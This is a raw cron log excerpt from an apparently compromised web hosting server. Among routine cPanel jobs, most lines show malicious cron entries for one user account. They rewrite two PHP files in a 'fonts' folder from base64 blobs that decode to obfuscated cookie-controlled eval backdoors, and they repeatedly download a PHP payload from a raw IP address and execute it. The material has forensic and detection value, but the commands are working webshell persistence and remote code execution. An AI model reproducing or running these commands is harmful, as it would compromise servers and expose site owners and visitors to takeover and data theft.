Sep  3 19:52:01 ip-184-168-122-23 CROND[23343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:52:01 ip-184-168-122-23 CROND[23344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:52:01 ip-184-168-122-23 CROND[23345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:53:01 ip-184-168-122-23 CROND[23444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:53:01 ip-184-168-122-23 CROND[23447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:53:01 ip-184-168-122-23 CROND[23446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:53:01 ip-184-168-122-23 CROND[23449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:54:01 ip-184-168-122-23 CROND[23522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:54:01 ip-184-168-122-23 CROND[23524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:54:01 ip-184-168-122-23 CROND[23527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:54:01 ip-184-168-122-23 CROND[23525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:54:01 ip-184-168-122-23 CROND[23526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:55:01 ip-184-168-122-23 CROND[23612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:55:01 ip-184-168-122-23 CROND[23614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:55:01 ip-184-168-122-23 CROND[23618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:55:01 ip-184-168-122-23 CROND[23616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:55:01 ip-184-168-122-23 CROND[23615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:55:01 ip-184-168-122-23 CROND[23617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:56:01 ip-184-168-122-23 CROND[23781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:56:01 ip-184-168-122-23 CROND[23783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:56:01 ip-184-168-122-23 CROND[23784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:56:01 ip-184-168-122-23 CROND[23786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:56:01 ip-184-168-122-23 CROND[23785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:57:01 ip-184-168-122-23 CROND[23892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:57:01 ip-184-168-122-23 CROND[23894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:57:01 ip-184-168-122-23 CROND[23895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:57:01 ip-184-168-122-23 CROND[23896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:58:01 ip-184-168-122-23 CROND[23992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:58:01 ip-184-168-122-23 CROND[23993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:58:01 ip-184-168-122-23 CROND[23995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:58:01 ip-184-168-122-23 CROND[23994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:58:01 ip-184-168-122-23 CROND[23996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:59:01 ip-184-168-122-23 CROND[24101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:59:01 ip-184-168-122-23 CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:59:01 ip-184-168-122-23 CROND[24105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:59:01 ip-184-168-122-23 CROND[24106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:00:01 ip-184-168-122-23 CROND[24211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:00:01 ip-184-168-122-23 CROND[24213]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:00:01 ip-184-168-122-23 CROND[24214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:00:01 ip-184-168-122-23 CROND[24219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:00:01 ip-184-168-122-23 CROND[24220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:00:01 ip-184-168-122-23 CROND[24215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:00:01 ip-184-168-122-23 CROND[24222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:00:01 ip-184-168-122-23 CROND[24218]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 20:00:01 ip-184-168-122-23 CROND[24223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:01:01 ip-184-168-122-23 CROND[24326]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:01:01 ip-184-168-122-23 CROND[24328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:01:01 ip-184-168-122-23 CROND[24329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:01:01 ip-184-168-122-23 CROND[24330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:01:01 ip-184-168-122-23 CROND[24331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:01:01 ip-184-168-122-23 CROND[24332]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24332]: starting 0anacron
Sep  3 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24346]: finished 0anacron
Sep  3 20:02:01 ip-184-168-122-23 CROND[24508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:02:01 ip-184-168-122-23 CROND[24509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:02:01 ip-184-168-122-23 CROND[24510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:02:01 ip-184-168-122-23 CROND[24512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:02:01 ip-184-168-122-23 CROND[24513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:03:01 ip-184-168-122-23 CROND[24594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:03:01 ip-184-168-122-23 CROND[24596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:03:01 ip-184-168-122-23 CROND[24595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:03:01 ip-184-168-122-23 CROND[24598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:04:01 ip-184-168-122-23 CROND[24678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:04:01 ip-184-168-122-23 CROND[24680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
